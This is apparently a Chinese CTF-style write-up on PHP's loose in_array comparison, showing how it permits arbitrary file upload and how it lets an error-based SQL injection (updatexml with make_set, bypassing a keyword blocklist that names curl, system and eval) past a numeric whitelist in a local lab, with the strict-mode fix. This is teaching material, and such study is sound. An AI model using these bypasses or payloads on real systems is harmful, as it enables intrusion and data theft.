函数缺陷原理分析

先看一段简单的源代码

class Challenge{
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist; public function __construct($file)
{
$this->file = $file;
$this->whitelist = range(1,24);
} public function __destruct()
{
if (in_array($this->file['name'], $this->whitelist))
{
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);

首先看这段代码的功能,它实现的是一个上传的功能。漏洞点在于

in_array($this->file['name'], $this->whitelist)

再看in_array函数的使用:

in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,
则 in_array() 函数会进行强检查,
检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

这个函数会在第二个参数中搜索第一个参数。关键点在于第三个参数$strict。这个参数只有True和False。默认的是False,即不开启PHP的强检查,也就是说我们可以成功的上传一个7shell.php文件,因为7shell.php是字符串,在与数字比较前会被类型转换成7,7在白名单的范围之内,成功上传。这个点导致了任意文件上传功能。

修复方法

1、开启第三个参数为True

一道由in_array造成sql报错注入的CTF题

先在本地搭建一下环境。

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
} $sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
} $id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id"; if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
} $result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
} ?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1"; function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null ); INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000); create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

一开始提示我们加一个id参数。



id=1 and 1=1有回显,id=1 and 1=2异常。存在数字型注入。id=5有回显,id=6报错,一共存在5列。接着暴数据,但是从代码里面看到存在过滤字符。updatexml没有被过滤,使用报错注入,但是concat被禁了,无法拼接数据。这里用到了make_set()函数。

我们先看make_set这个函数的定义

make_set()的用法

返回一个设定值(含子字符串分隔字符串。,。字符)由那些在设置位的相应位的字符串。str1对应于位0,str2至位1,以此类推。NULL值在str1,str2,...不添加到结果。

make_set()应用实例



9化成二进制是1001,倒过来也是1001,那么对应四位数,a对应1,取,b和c对应0,不取,d对应1,取,所以结果是a,d。10化成二进制是1010,倒过来就是0101,a对应0,不取,b对应1,取,c对应0,不取,d对应1,取。所以结果是b,d。

再看



1|4表示进行或运算,为0001 | 0100,得0101,倒过来排序,为1010,同上方法结果是a,c。

但是还有一种就是str里面有null的。



如果null对应到了1那么直接跳过。

payload

3化成二进制是11,倒过来也是11,updatexml报错注入的原理就是Xpath语法遇到特殊字符会报错,并且返回非法格式报错的内容,这里对应1,select database()也对应1。所以能把数据暴出来。

?id=1 and  updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)

这里碰到了一个小错误。在删掉limit1 之后报错Subquery returns more than 1 row,加个limit 1就好了。因为是白盒测试就直接读flag了。

漏洞成因

先看整个代码的逻辑,白名单是1到5,对id参数进行stop_hack过滤,然后将id的参数代入到$sql语句中,但是因为

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

in_array没有开启强比较,我们的注入语句可以过去。就像这样

<?php
$id = "1 and updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)";
$whitelist = range(1,5);
if(!in_array($id,$whitelist)){
echo "True";
}
else{
echo "False";
}

id在比较的时候变成了1,1在$whitelist内得到False。



接着执行我们的sql语句,就可以暴出数据

最新文章

  1. vue-resource初体验
  2. input 正则限制输入内容
  3. CSS3 GRID LAYOUT
  4. Final-阶段站立会议5
  5. Winform 关于委托与Invoke和Begin Invoke的使用
  6. 创建新进程,就三个函数CreateProcessAsUser CreateProcessWithLogonW CreateProcessWithTokenW(附网友的流程)
  7. php/ java/asp.net
  8. git命令(流程)
  9. XStream简单使用01——xml和Ojbect互转
  10. iOS获取当前app的名称和版本号-by
  11. Chrome Firefox 自定义背景色
  12. 用shell统计访问日志里每个ip访问次数【转】
  13. css3 loading动画 三个省略号
  14. [SCOI2008]奖励关
  15. 《Redis 使用规范》
  16. PHP Warning: PHP Startup: Unable to load dynamic library &#39;/usr/lib/php/20151012/php_mbstring.dll&#39; 的解决方法
  17. RabbitMQ的六种工作模式
  18. [JOISC2014]スタンプラリー
  19. android 利用CountDownTimer实现时分秒倒计时效果
  20. Django一些开发经验

热门文章

  1. jenkins pipeline的声明式与脚本式
  2. Spring学习日记02_IOC_属性注入_其他类型属性
  3. 16、lamp的搭建
  4. 3、dns服务搭建
  5. 22.17、heartbeat和drbd整合
  6. POJ 2084 Game of Connections 卡特兰数
  7. linux进程后台运行的几种方法 - nohup/setsid/&amp;
  8. Python 类与对象 __init__()参数
  9. Flask(11)- 操作 Cookie
  10. git配置多个ssh key